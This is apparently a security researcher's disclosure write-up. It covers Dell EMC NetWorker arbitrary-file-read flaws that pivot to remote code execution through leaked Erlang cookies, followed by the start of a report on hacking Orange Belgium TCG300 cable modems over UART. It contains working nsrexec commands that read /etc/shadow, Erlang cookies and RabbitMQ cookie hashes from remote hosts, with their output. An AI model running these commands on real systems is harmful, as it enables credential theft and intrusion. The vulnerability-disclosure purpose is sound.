nsrarchive can archive files, directories, or entire filesystems to the NetWorker server (see nsr(8)). The progress of an archive can be monitored using the Java based NetWorker Management Console or the curses(3X) based nsrwatch(8) program, depending on the terminal type. Use of nsrarchive is restricted to users in NetWorker ‘administrator’ list or members of the ‘archive users’ list or to those who possess the ‘Archive Data’ privilege.

This command can take filenames as input, respectively:

-f filename The file from which to read  default directives (see nsr(5)).
-I input_file In addition to taking the paths for nsrarchive from the command line,\
a list of paths in the named input_file will be archived.\
The paths must be listed one per line.\
If no paths are specified on the command line, then only those paths specified in the input_file will be archived.

Given that nsrarchive does not validate the received path, that it runs with root privileges, and that it prints out the file content on error, we can force it to print the content of sensitive files. In the example below, we make it dump the content of /etc/shadow:

nsrarchive -s 127.0.0.1 -I '/etc/shadow' -T t
Finished reading the annotation string; beginning the archive process.
87651:nsrarchive: Cannot get status on path 'root:$1$REDACTED.::0:99999:7:::':
Aucun fichier ou dossier de ce type
--snip--

Windows hosts are also affected, here we demonstrate it by reading the remote system hosts file:

export RCMD='nsrarchive -I "C:\\Windows\\System32\\drivers\\etc\\hosts" -T t'
nsrexec -c 192.168.121.183 | cut -d':' -f2 | sed 's/ No such file or directory [0-9 ]* //g' 
89922 1613751289 1 5 0 3588 2452 0 networker-win nsrarchive NSR notice 74 \nFinished reading the annotation string; beginning the archive process.\n 0
 %s. Continuing ...  1 24 184 A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
# localhost name resolution is handled within DNS itself.
#    127.0.0.1       localhost
#    
192.168.121.92   networker-client1
192.168.121.50   networker-client
192.168.121.238  networker-server

Pivoting from Information Leak to RCE

Looking for ways to gain greater control over the target with this information leak, we identified that Dell EMC Networker Server runs a RabbitMQ message broker service. As we can see in the diagram below, that service (TCP/5672, TCP/5671) is used by the Networker Management Console.

By default, RabbitMQ is configured for inter-node communication. This means it will expose two services on top of the existing AMQP service:

epmd (for Erlang Port Mapping Daemon)
eds (for Erlang Distribution Server)

These services will show up when you scan a Dell EMC Networker server:

Host is up, received arp-response (0.000019s latency).
Scanned at 2020-11-24 17:54:41 CET for 165s
PORT      STATE SERVICE         REASON         VERSION
4369/tcp  open  epmd            syn-ack ttl 64 Erlang Port Mapper Daemon
5672/tcp  open  amqp            syn-ack ttl 64 RabbitMQ 3.2.4 (0-9)
44296/tcp open  unknown         syn-ack ttl 64
MAC Address: 52:54:00:84:E6:65 (QEMU virtual NIC)

Note that port 44296 corresponds to Erlang Distribution Server, and is randomly chosen everytime Erlang runtime is restarted.

Erlang Port Mapper Daemon

Erlang Port Mapping Daemon is a small additional daemon that runs alongside every RabbitMQ node and is used by the runtime to discover what port a particular node listens on for inter-node communication.

Requesting the Erlang Distribution Server port from epmd can be done with the ‘epmd-info’ Nmap script:

nmap -sV -p4369 --script epmd-info -Pn -n -vvv 192.168.121.4
 
Nmap scan report for 192.168.121.4
Host is up, received arp-response (0.00017s latency).
Scanned at 2020-11-24 17:56:35 CET for 7s
 
PORT     STATE SERVICE REASON         VERSION
4369/tcp open  epmd    syn-ack ttl 64 Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    rabbit: 44296
MAC Address: 52:54:00:84:E6:65 (QEMU virtual NIC)

The Erlang distribution server is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie RCE is trivial. Usually, this cookie is named “.erlang.cookie” and varies on location.

On servers running Dell EMC Networker Server components, the file is /nsr/rabbitmq/.erlang.cookie on Linux and C:\\Windows\\.erlang.cookie on Windows. Given that we can leak that file content, we can gain remote command execution on the host by authenticating to the Erlang distribution service with that cookie.

Below is a quick demonstration of what dumping the Erlang cookie (JFBODSOEGHDUTBYQTYYZ) from a Windows host looks like:

[root@networker-client ~]# export RCMD='nsrarchive -f "C:\\Windows\\.erlang.cookie" -T t'
[root@networker-client ~]# nsrexec -c 192.168.121.183
1613751664 1 5 0 1752 2468 0 networker-win nsrarchive NSR notice
\nFinished reading the annotation string; beginning the archive process.\n 0
1613751664 2 5 0 1752 2468 0 networker-win nsrarchive NSR warning 48
Ignoring illegal external ASM name '%s' in '%s'. 2 0 20 JFBODSOEGHDUTBYQTYYZ
25 C:\Windows\.erlang.cookie
1613751725 2 5 0 1752 2468 0 networker-win nsrarchive NSR warning
Cannot determine the job ID: %s. Continuing ...
24 184 A connection attempt failed because the connected party did not properly respond after a period of time,
or established connection failed because connected host has failed to respond.
1613751731 2 5 0 1752 2468 0 networker-win nsrarchive NSR warning
Unable to setup direct save with server %s: %s. 2 12 13 networker-win
85 12289 54 archive services have not been enabled for client `%s' 1 12 13 networker-win
1613751731 2 3 17 1752 2468 0 networker-win nsrarchive RAP warning
Cannot open %s session with '%s': %s 3 20 10 nsrarchive 12 13 networker-win
85 12289 54 archive services have not been enabled for client `%s' 1 12 13 networker-win
1613751731 1 5 0 1752 2468 0 networker-win nsrarchive NSR notice
%s%s: %-*s%s%s%s %*s %2.2ld:%2.2ld:%2.2ld %6s %s 14 0 0  20 10
nsrarchive 1 1 0 23 2 C: 0 1   0 0  0 0  1 1 0 0 5 24 GB 30 1 0 30 1 0 30 1 0 36 8 51410848 0 5 files
1613751731 2 3 17 4088 4084 0 networker-win nsrd RAP warning
archive services have not been enabled for client `%s' 1 12 13 networker-win
1613751731 5 5 0 1752 2468 0 networker-win nsrarchive NSR critical
The backup of save set '%s' failed. 1 51 2 C:
1613751731 1 5 0 1752 2468 0 networker-win nsrarchive NSR notice
%s completion time: %s 2 20 10 nsrarchive 35 20 2/19/2021 5:22:11 PM

[root@networker-client ~]# export RCMD='nsrarchive -I "C:\\Windows\\.erlang.cookie" -T t'
[root@networker-client ~]# nsrexec -c 192.168.121.183
1613751745 1 5 0 2084 2620 0 networker-win nsrarchive NSR notice
\nFinished reading the annotation string; beginning the archive process.\n 0
1613751805 2 5 0 2084 2620 0 networker-win nsrarchive NSR warning
Cannot determine the job ID: %s. Continuing ...  1 24 184 A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
1613751805 5 1 0 2084 2620 0 networker-win nsrarchive SYSTEM critical
%s: No such file or directory 1 0 20 JFBODSOEGHDUTBYQTYYZ

Below is a quick demonstration of what dumping the Erlang cookie (XXEKXJXWOSTUZKOFMHJG) from a Linux host looks like:

[root@networker-client usr]# export RCMD="nsrarchive -f '/nsr/rabbitmq/.erlang.cookie' -T t ."
[root@networker-client usr]# nsrexec -c 192.168.121.238
89922 1613660453 1 5 0 2354841408 8608 0 networker-server nsrarchive NSR notice
74 \nFinished reading the annotation string; beginning the archive process.\n 0
87298 1613660453 2 5 0 2354841408 8608 0 networker-server nsrarchive NSR warning
48 Ignoring illegal external ASM name '%s' in '%s'. 2 0 20 XXEKXJXWOSTUZKOFMHJG 23 28 /nsr/rabbitmq/.erlang.cookie

[root@networker-client vagrant]# export RCMD="nsrarchive -I '/nsr/rabbitmq/.erlang.cookie' -T t ."
[root@networker-client vagrant]# nsrexec -c 192.168.121.238
1613752006 1 5 0 1774774080 10825 0 networker-server nsrarchive NSR notice
\nFinished reading the annotation string; beginning the archive process.\n 0
1613752066 2 5 0 1774774080 10825 0 networker-server nsrarchive NSR warning
Cannot determine the job ID: %s. Continuing ...  1 24 20 Connection timed out
1613752066 5 1 2 1774774080 10825 0 networker-server nsrarchive SYSTEM critical
Cannot get status on path '%s': %s 2 23 20 XXEKXJXWOSTUZKOFMHJG 24 25 No such file or directory
1613752066 2 5 0 1774774080 10825 0 networker-server nsrarchive NSR warning
Unable to setup direct save with server %s: %s. 2 12 16 networker-server 49 88 12289
archive services have not been enabled for client `%s' 1 12 16 networker-server
1613752066 2 3 17 1774774080 10825 0 networker-server nsrarchive RAP warning
Cannot open a %s session with NetWorker server '%s': %s 3 20 10 nsrarchive 12 16 networker-server
88 12289 54 archive services have not been enabled for client `%s' 1 12 16 networker-server

With nsrpolicy, the Erlang cookie cannot be read directly due to file format limitations:

[root@networker-server ~]# export RCMD="nsrpolicy input-file -f /nsr/rabbitmq/.erlang.cookie"
[root@networker-server ~]# nsrexec -c 192.168.121.238
The syntax of this command is:
nsrpolicy input-file
 --file_name               -f <file name>
[--stop_on_error           -S <0/1; default:0 (Do not stop)>]
[--debug                   -D <debug level>]
[--help                    -h]

[root@networker-client ~]# export RCMD="nsrpolicy input-file -f C:\Windows\.erlang.cookie"
[root@networker-client ~]# nsrexec -c 192.168.121.183
The syntax of this command is:
nsrpolicy input-file
 --file_name               -f <file name>
[--stop_on_error           -S <0/1; default:0 (Do not stop)>]
[--debug                   -D <debug level>]
[--help                    -h]

However, we can leak the hash from RabbitMQ logs and crack it using dedicated tools:

[root@networker-server ~]# export RCMD="nsrpolicy input-file -f /opt/nsr/rabbitmq-server-3.2.4/var/log/rabbitmq/rabbit@networker-server.log"
[root@networker-server ~]# nsrexec -c 192.168.121.238 2>&1 | grep Command
121415:nsrpolicy: Command from file:
121415:nsrpolicy: Command from file: =INFO REPORT==== 22-Feb-2021::13:32:46 ===
121415:nsrpolicy: Command from file: Starting RabbitMQ 3.2.4 on Erlang R16B03-1
121415:nsrpolicy: Command from file: Copyright (C) 2007-2013 GoPivotal, Inc.
121415:nsrpolicy: Command from file: Licensed under the MPL.  See http://www.rabbitmq.com/
121415:nsrpolicy: Command from file:
121415:nsrpolicy: Command from file: =INFO REPORT==== 22-Feb-2021::13:32:46 ===
121415:nsrpolicy: Command from file: node           : rabbit@networker-server
121415:nsrpolicy: Command from file: home dir       : /nsr/rabbitmq
121415:nsrpolicy: Command from file: config file(s) : (none)
121415:nsrpolicy: Command from file: cookie hash    : gOc/cQw7eTfGpOhV+okBXQ==
121415:nsrpolicy: Command from file: log            : /opt/nsr/rabbitmq-server-3.2.4/sbin/../var/log/rabbitmq/rabbit@networker-server.log
121415:nsrpolicy: Command from file: sasl log       : /opt/nsr/rabbitmq-server-3.2.4/sbin/../var/log/rabbitmq/rabbit@networker-server-sasl.log
121415:nsrpolicy: Command from file: database dir   : /opt/nsr/rabbitmq-server-3.2.4/sbin/../var/lib/rabbitmq/mnesia/rabbit@networker-server
121415:nsrpolicy: Command from file:
--snip--

[root@networker-client ~]# export RCMD="nsrpolicy input-file -f C:\Windows\System32\config\systemprofile\AppData\Roaming\RabbitMQ\log\rabbit@NETWORKER-WIN.log"
[root@networker-client ~]# nsrexec -c 192.168.121.183 2>&1 | grep Command
121415:nsrpolicy: Command from file:
121415:nsrpolicy: Command from file: =INFO REPORT==== 19-Feb-2021::11:29:07 ===
121415:nsrpolicy: Command from file: Starting RabbitMQ 3.2.4 on Erlang R16B03-1
121415:nsrpolicy: Command from file: Copyright (C) 2007-2013 GoPivotal, Inc.
121415:nsrpolicy: Command from file: Licensed under the MPL.  See http://www.rabbitmq.com/
121415:nsrpolicy: Command from file:
121415:nsrpolicy: Command from file: =INFO REPORT==== 19-Feb-2021::11:29:07 ===
121415:nsrpolicy: Command from file: node           : rabbit@NETWORKER-WIN
121415:nsrpolicy: Command from file: home dir       : C:\Windows
121415:nsrpolicy: Command from file: config file(s) : (none)
121415:nsrpolicy: Command from file: cookie hash    : 2HOFPWBXNZ3XmdRzs2x+cQ==
121415:nsrpolicy: Command from file: log            : C:/Windows/system32/config/systemprofile/AppData/Roaming/RabbitMQ/log/rabbit@NETWORKER-WIN.log
121415:nsrpolicy: Command from file: sasl log       : C:/Windows/system32/config/systemprofile/AppData/Roaming/RabbitMQ/log/rabbit@NETWORKER-WIN-sasl.log
121415:nsrpolicy: Command from file: database dir   : c:/Windows/system32/config/systemprofile/AppData/Roaming/RabbitMQ/db/rabbit@NETWORKER-WIN-mnesia

More details about getting RCE via the Erlang distribution port can be found in [1], [2], and [3].

A note on exploitability

In order to pivot from arbitrary file read to remote command execution, one needs to be able to reach the Erlang distribution port. This port is randomly chosen every time the Erlang runtime starts up, but can be requested from the Erlang Port Mapper Daemon (epmd) exposed on port TCP/4369. We noted that on recent versions of Networker, the port was always set to 25672, which is in line with recent versions of RabbitMQ.

If a firewall is in place and that this firewall follows the rules advised by the Dell EMC Networker Security Configuration Guide, then gaining remote command execution through Erlang distribution won’t be possible. This would still be exploitable from the host itself as a local privilege escalation primitive though.

Of course the arbitrary file read leaves plenty of other ways to compromise the target, such as dumping host users password hashes from /etc/shadow or reading the EMC Networker administrator password hash from /nsr/authc/data/authcdb.h2.db.

Arbitrary File Read with nsr_render_log

The ‘nsr_render_log’ command exposed by Dell EMC Networker nsrexecd service is affected by a path traversal vulnerability. By abusing this flaw and existing weaknesses in the oldauth/nsrauth authentication mechanisms, an unauthenticated attacker could read sensitive files from any host exposing the nsrexecd service (Dell EMC Networker Server, Dell EMC Networker Client, Dell EMC Networker Storage Node).

On Dell EMC Networker Server, this path traversal can be turned into remote command execution by taking advantage of Erlang runtime’s presence. Specifically, an attacker can obtain the Erlang cookie value from a file stored on the remote system and use it to establish an authenticated session to the remote Erlang daemon, therefore gaining the ability to execute arbitrary commands on the remote system with elevated privileges.

Impact

An unauthenticated attacker can gain remote command execution with administrative privileges (root on Linux, SYSTEM on Windows) on hosts where Dell EMC Networker Server is installed.

An unauthenticated attacker can gain remote access to any file on hosts where either Dell EMC Networker Server, Dell EMC Networker Client, or Dell EMC Networker Storage Node is installed.

Note that by compromising a Networker server, an attacker would also gain access to information stored on the filesystems of all Dell EMC Networker clients and storage nodes registered on that server.

Affected Products

The following Dell EMC Networker products are affected:

Dell EMC Networker Server version >= 9.1.0.2 for Linux (remote arbitrary file read and RCE)
Dell EMC Networker Server version >= 9.1.0.2 for Windows (remote arbitrary file read and RCE)
Dell EMC Networker Storage Node version >= 9.1.0.2 for Linux (remote arbitrary file read)
Dell EMC Networker Storage Node version >= 9.1.0.2 for Windows (remote arbitrary file read)
Dell EMC Networker Storage Node >= 9.1.0.2 for HP-UX (remote arbitrary file read) *
Dell EMC Networker Storage Node >= 9.1.0.2 for Solaris (remote arbitrary file read) *
Dell EMC Networker Client version >= 9.1.0.2 for Linux (remote arbitrary file read)
Dell EMC Networker Client version >= 9.1.0.2 for Windows (remote arbitrary file read)
Dell EMC Networker Client version >= 9.1.0.2 for Mac OSX (remote arbitrary file read) *
Dell EMC Networker Client version >= 9.1.0.2 for Solaris (remote arbitrary file read) *
Dell EMC Networker Client version >= 9.1.0.2 for AIX (remote arbitrary file read) *
Dell EMC Networker Client version >= 9.1.0.2 for HP-UX (remote arbitrary file read) *

Items marked with a star are unconfirmed, but we are strongly confident that they’re also affected given that they share the same code base with the Linux version. Any product from Dell EMC that expose nsrexecd is most likely affected too.

Description

From the nsrexec manual page:

The nsrexec command is run only by other NetWorker commands. It is used to remotely execute commands on NetWorker clients running nsrexecd, and also to monitor the progress of those commands.

One command that caught our eye is nsr_render_log. This command reads messages from the NetWorker log file provided as parameter, filters and renders them according to the command line options, and sends the output to stdout.

In the example below, we run nsr_render_log on Networker host 192.168.121.137 to obtain tabulated logs from the daemon log file. It is nsr_render_log job of rendering timestamps, severity level, PID, etc from the raw file content.

[root@networker-client1 vagrant]# export RCMD='nsr_render_log /nsr/logs/daemon.raw'
[root@networker-client1 vagrant]# nsrexec -c 192.168.121.137
101040 30/11/20 10:26:45  1 3 0 1781430080 3928 0 networker-server nsrexecd RAP notice Generated new 'NW instance ID': 982b058f-00000004-a6d07aa0-5fc4c8e5-00015452-53cbca00 and keys for nsrauth RPC authentication. 
0 30/11/20 10:26:45  1 5 0 1781430080 3928 0 networker-server nsrexecd NSR notice @(#) Product:      NetWorker 
0 30/11/20 10:26:45  1 5 0 1781430080 3928 0 networker-server nsrexecd NSR notice @(#) Release:      9.1.0.2.Build.43 
--snip--

However, given that nsr_render_log does not validate the received path and that it runs with root privileges, we can force it to read any file:

[root@networker-client1 vagrant]# export RCMD='nsr_render_log /etc/shadow'
[root@networker-client1 vagrant]# nsrexec -c 192.168.121.137
5 9 1 1 0 0 unknown unknown LOG unrendered root:$1$m.REDACTEDccI.::0:99999:7:::
5 9 1 1 0 0 unknown unknown LOG unrendered bin:*:18353:0:99999:7:::
5 9 1 1 0 0 unknown unknown LOG unrendered daemon:*:18353:0:99999:7:::
5 9 1 1 0 0 unknown unknown LOG unrendered adm:*:18353:0:99999:7:::
5 9 1 1 0 0 unknown unknown LOG unrendered lp:*:18353:0:99999:7:::
--snip--

Windows hosts are also affected, here we demonstrate it by reading the remote system hosts file:

[root@networker-client1 vagrant]# export RCMD='nsr_render_log "C:\\Windows\\System32\\drivers\\etc\\hosts"'
[root@networker-client1 vagrant]# nsrexec -c 192.168.121.182
5  1 1 0 0 unknown unknown LOG unrendered # Copyright (c) 1993-2009 Microsoft Corp.
5  1 1 0 0 unknown unknown LOG unrendered #
5  1 1 0 0 unknown unknown LOG unrendered # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
Unable to render the following message: # Copyright (c) 1993-2009 Microsoft Corp.
Unable to render the following message: #
Unable to render the following message: # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
--snip--

Recommendations to Networker Administrators

Fix your Dell EMC Networker by following the Dell EMC Networker Security Guidelines to the letter. Do not allow oldauth, limit exposure of nsrexecd with strong firewall rules, and IP whitelisting in Networker config, provision NSRLA entries prior to running nodes.

Recommendations to Dell

We recommend Dell EMC to protect the nsrexecd service against path traversal by fixing the nsr_render_log binary so that it verifies that the file being read is in fact a Dell EMC Networker log file and that this file is part of a Dell EMC Networker install subdirectory.

We recommend Dell EMC to configure the Erlang runtime not to expose the Erlang distribution service on all interfaces. Our understanding is that Erlang is present due to usage of RabbitMQ message broker for message based communication between the EMC Networker server and NMC Server. The only port that needs to be exposed for that communication channel to be established is port TCP/5672 for plaintext AMQP or TCP/5671 for SSL/TLS AMQP. The Erlang Port Mapper Daemon service exposed on TCP/4369 and the Erlang distribution service bound to a random port are not required for that purpose and can be closed by configuration or firewall rule.

References

[0] Dell Technologies - EMC NetWorker Security Configuration Guide - https://www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/data-protection/docu91948.pdf
[1] Insinuator - Erlang distribution RCE and a cookie bruteforcer https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
[2] Rapid7 - Erlang Port Mapper Daemon Cookie RCE - https://www.rapid7.com/db/modules/exploit/multi/misc/erlang_cookie_rce/
[3] gteissier - erl-matter - https://github.com/gteissier/erl-matter

PoC||GTFO

All proof-of-concepts are available on Github.

A Clockwork Orange - Remotely Compromising Orange Belgium Cable Modems

Sun, 25 Apr 2021 06:00:00 +0000

This report outlines vulnerabilities found in Askey TCG300 cable modems provided by Orange Belgium to its subscribers.

The modems are vulnerable to authenticated and unauthenticated remote code execution through the web administration server. These vulnerabilities arise from memory corruptions due to insecure function calls when handling HTTP requests.

These vulnerabilities can be exploited by attackers who already have access to the device’s local network, including from the guest network. Under certain specific conditions, the attack could also be launched remotely over the Internet.

By exploiting these vulnerabilities, an attacker can gain unauthorized access to Orange Belgium customers LAN, fully compromise the router, and leave a persistent backdoor allowing direct remote access to the network.

Tested product	Askey TCG300 aka Siligence TCG300
Firmware	TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin

Coordinated Disclosure Timeline

Initial Contact via Orange CERT-CC

Date	Action
21/01/2021 - 10:42	We request a security contact for Orange Belgium from CERT.be
22/01/2021 - 10:21	A security contact is provided by CERT.be
25/01/2021 - 13:04	Report sent to Orange CERT-CC.
25/01/2021 - 15:05	Orange CERT-CC acknowledge reception, request full list of unsafe calls.
27/01/2021 - 14:06	We provide the list of unsafe calls to Orange CERT-CC.
27/01/2021 - 18:12	Acknowledgment from Orange CERT-CC.
01/02/2021 - 13:21	Orange CERT-CC asks for an extension from the initial 90-days disclosure policy.
01/02/2021 - 16:15	We request a detailed timeline indicating the firmware patch release and the firmware patch roll-out dates - as well as a rationale for the 90 days extension request - in order to decide whether or not we grant the extension.
12/02/2021 - 10:57	No answer from Orange CERT-CC. We notify them that we stick to the 90 days disclosure policy.

Second Contact, initiated by Orange Belgium Global Security

On March 9th 2021, we released the VOOdoo security research exploring exploitation of eCos cable modems of belgian Internet Service Provider VOO. We also made all of our eCos research public through our ecos.wtf website. It seems to have renewed Orange Belgium’s interest in what we sent them.

Date	Action
16/03/2021 - 15:05	Orange Belgium Global Security contacts us: “Following the disclosure of the ‘VOOdo’ security analysis and after internal discussion, OBE would like to start/resume discussion with you regarding the Orange-CERT-CC/ALERT-2021-REDACTED.” They mention that some of the reported vulnerabilities are already fixed, while others are being fixed as we speak. They request an extension of the disclosure deadline to September 2021 (6 months later), invoking regulatory and contractual constraints.
17/03/2021 - 09:11	We ask Orange Belgium Global Security to indicate which vulnerabilities are already fixed in order to assess the situation. We also provide a detailed rationale as to why we’d rather stick to the 90 days (provided below).
25/04/2021 - 09:00	No answer from either Orange CERT-CC or Orange Belgium Global Security. Public release.

Our detailed rationale on why we think sticking to 90 days is OK:

Can you indicate clearly which vulnerabilities are currently patched on TCG300 deployed by Orange Belgium ?

I understand the constraints that you might be under, but a 6 months extension is a lot to ask. I agreed on an extension with VOO to protect end customers, given that an unauthenticated remote attacker could have taken over. It's not exactly the same situation here.

For the vulnerabilities I reported to Orange, the risks to end users are limited due to initial access being required.

Namely:

- authenticated RCE via the web administration panel - this is only exploitable by someone on the LAN, with knowledge of the administration password or via session hijacking, which means the customer device (e.g. laptop they used to connect to the web admin) is already compromised.

- unauthenticated RCE via Host header - this is only exploitable by someone on the LAN or guest LAN, with extensive knowledge of heap exploitation on eCos.

Orange can publish an advisory recommending their customers to disable the guest wifi if not required. This would severely limit the attack surface for those vulnerabilities until a patch is available.

I'd rather stick to the original 90 days disclosure policy and not release the full exploit code. That's what I did with the VOO exploits, they're defanged so running them won't give you a shell right away.

Over the course of this coordinated disclosure process made out of sporadic emails from two different entities, Orange managed to ask for an extension of the 90 days disclosure deadline twice but never provided clear and detailed information about what was happening on their side. We were never in direct contact with Orange security engineers.

On top of that, the fact that they came back asking for an extension after 6 weeks of radio silence because they saw the impact of our ‘VOOdoo’ research is offending. I’m convinced that upcoming security researchers would have been ignored up to the 90 days deadline (if they chose to impose one). My feeling is they got back to us because our previous research made noise and ended up in the press, not because they care about their customer premise equipment security.

When writing these lines (April 25th 2021), it is still unclear which of these issues are currently patched and Orange Belgium hasn’t released an advisory about guest network attack surface.

Now let’s dig into the technical details !

Introduction

Orange Belgium - formerly known as Mobistar - is a belgian Internet Service Provider which mostly serves the Wallonia region and part of Brussels region. It provides Internet connectivity over existing cable television systems using DOCSIS.

Two different models of cable modems are currently deployed by Orange Belgium:

Siligence (white branded Askey TCG300)
Compal CH6643E

Due to the recent release of Cable Haunt, we decided to take a look at one of these models: the Askey TCG300 provided by Siligence.

Firmware Extraction

Askey does not publish firmware files for devices dedicated to large ISPs. In order to gain access to the firmware we had to either exploit a flaw in the web administration panel or use physical means such as flash desoldering or UART console access.

Given our limited knowledge of the device, we decided to go the physical way and opened the box.

Accessing Console Port (UART)

We immediately identified what looked like three UART pin-outs labelled UART0, UART1, and UART2. When auto-identifying baud rate, we noticed that UART0 is live while the others are not.

Usually, cable modems have two separate systems: a Media Server (MS) running Linux and a Cable Modem (CM) real-time operating system running either eCOS or VxWorks. It turns out that this specific model does not have a Media Server component.

The pins setup for reference:

From early boot information, we see that the device bootloader is unlocked. You can see that from the ‘Enter ‘1’, ‘2’, or ‘p’’ prompt, allowing to enter the bootloader menu by pressing ‘p’.

MemSize:            256 M
Chip ID:     BCM3384ZU-B0

BootLoader Version: 2.5.0beta8 Rev2 Release spiboot dual-flash nandflash
memsys2g800x16 avs linux ssc
Build Date: May 24 2016
Build Time: 17:01:11
SPI flash ID 0xc22014, size 1MB, block size 64KB, write buffer 256, flags 0x0
StrapBus address b4e00194, value fbff7e77
NAND flash: Device size 128 MB, Block size 128 KB, Page size 2048 B
Cust key size 128

Signature/PID: d22f

Successfully restored flash map from SPI flash!
NandFlashRead: Reading offset 0x2600000, length 0x5c

Image 1 Program Header:
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51

Found image 1 at offset 2700000
NandFlashRead: Reading offset 0x3600000, length 0x5c

Image 2 Program Header:
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51

Found image 2 at offset 3700000
NandFlashRead: Reading offset 0x4600000, length 0x5c

Enter '1', '2', or 'p' within 2 seconds or take default...

But even though the bootloader is unlocked, we cannot access the cable modem console given that console input/output has been explicitly disabled in non-volatile storage:

Checksum for dynamic settings:  0x42ccf5dd
Settings were read and verified.

Console input has been disabled in non-vol.
Console output has been disabled in non-vol!  Goodbye...

Firmware Dump with bcm2utils

In order to dump the firmware, we developed custom profiles for bcm2-utils. This project provides two utilities:

bcm2dump A utility to dump ram/flash, primarily intended as a firmware dump tool for cable modems based on a Broadcom SoC. Works over serial connection (bootloader, firmware) and telnet (firmware).
bcm2cfg A utility to modify/encrypt/decrypt the configuration file (aka GatewaySettings.bin), but also NVRAM images.

bcm2dump requires model-specific memory mappings definition from profiledef.c to work. Given that the device under test was not documented yet, we gathered information by dumping the bootloader and reversing it.

Thanks to the profile we wrote, we were able to auto-detect the device with bcmp2dump:

./bcm2dump -v info /dev/ttyUSB0,115200
detected profile TCG300(bootloader), version 2.5.0beta8
TCG300: Siligence TCG300-D22F
=============================
pssig         0xd22f
blsig         0x0000

ram           0x00000000                            RW
------------------------------------------------------
(no partitions defined)

nvram         0x00000000 - 0x000fffff  (     1 MB)  RO
------------------------------------------------------
bootloader    0x00000000 - 0x0000ffff  (    64 KB)
permnv        0x00010000 - 0x0002ffff  (   128 KB)
dynnv         0x000c0000 - 0x000fffff  (   256 KB)

flash         0x00000000 - 0x07ffffff  (   128 MB)  RO
------------------------------------------------------
linuxapps     0x00100000 - 0x026fffff  (    38 MB)
image1        0x02700000 - 0x036fffff  (    16 MB)
image2        0x03700000 - 0x046fffff  (    16 MB)
linux         0x04700000 - 0x04efffff  (     8 MB)
linuxkfs      0x04f00000 - 0x06efffff  (    32 MB)

Dumping NAND We then dumped the NAND flash content. First bcm2dump will patch the code in memory and then trigger calls to dump the flash over serial.

In the excerpt below, we dump the firmware image which we analyzed to identify issues listed in section ‘Findings’.

./bcm2dump -v dump /dev/ttyUSB0,115200 flash image1 image1.bin
detected profile TCG300(bootloader), version 2.5.0beta8
updating code at 0x84010000 (436 b)
100.00% (0x840101b3)               6  bytes/s (ELT      00:01:11)
dumping flash:0x02700000-0x036fffff (16777216 b)
100.00% (0x036fffff)            7.10k bytes/s (ELT      00:38:28)

Dumping SPI Flash Dumping dynamic settings can also be done using bcm2dump:

./bcm2dump -v dump /dev/ttyUSB0,115200 nvram dynnv dynnv.bin

Bypassing Disabled Console Prompt

If you remember the boot logs, we cannot access the device console because it’s been explicitly disabled in the non-vol settings:

Checksum for dynamic settings:  0x42ccf5dd
Settings were read and verified.

Console input has been disabled in non-vol.
Console output has been disabled in non-vol!  Goodbye...

We explored diffrent avenues when trying to bypass this protection:

Patching the firmware code
Patching the permnv settings
Patching the dynnv settings

We ended up patching dynamic settings. First, let’s dump dynnv from the SPI flash using bcm2-utils:

./bcm2dump -F -v dump /dev/ttyUSB0,115200 nvram dynnv dynnv.bin

We can see that serial_console_mode is set to disabled:

./bcm2cfg get dynnv.bin | more
{
  bfc = {
    serial_console_mode = disabled
  }

Let’s rewrite it:

./bcm2cfg set dynnv.bin bfc.serial_console_mode 2 dynnv.modified.bin
bfc.serial_console_mode = rw

Now that we have a modified dynnv partition, it’s time to write it back to the device. The problem here is that bcm2dump does not support (yet) writing back to nvram or flash from the bootloader menu.

In the meantime, we simply plugged ourselves to the SPI flash with an 8-pin SOIC clip.

The chip is a Macronix MX25L8006E, with a simple pinout:

There are some issues to overcome when writing back, such as editing multiple copies of dynamic settings. This is out of the scope of this article. If you want to know more, head over to ecos.wtf.

But once the right settings are written back, we obtain a shell on UART0:

CM> dir

!               ?               REM             call            cd
dir             find_command    help            history         instances
ls              man             pwd             sleep           syntax
system_time     usage
----
con_high        cpuLoad         cpuUtilization  exit            mbufShow
memShow         mutex_debug     ping            read_memory     reset
routeShow       run_app         shell           socket_debug    stackShow
taskDelete      taskInfo        taskPrioritySet taskResume      taskShow
taskSuspend     taskSuspendAll  taskTrace       usfsShow        version
write_memory    zone
----
[CmRgMsgPipe] [Console] [HeapManager] [HostDqm] [avs] [cm_hal] [docsis_ctl]
[dtp] [embedded_target] [event_log] [fam] [flash] [forwarder] [ftpLite]
[ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop]
[spectrum_analyzer]

On top of that, another shell opens up on UART2:

RG> help

 !               ?               REM             call            cd
 dir             find_command    help            history         instances
 ls              man             pwd             sleep           syntax
 system_time     usage
 ----
 btcp            con_high        cpuLoad         cpuUtilization  exit
 mbufShow        memShow         mutex_debug     ping            read_memory
 reset           routeShow       run_app         shell           socket_debug
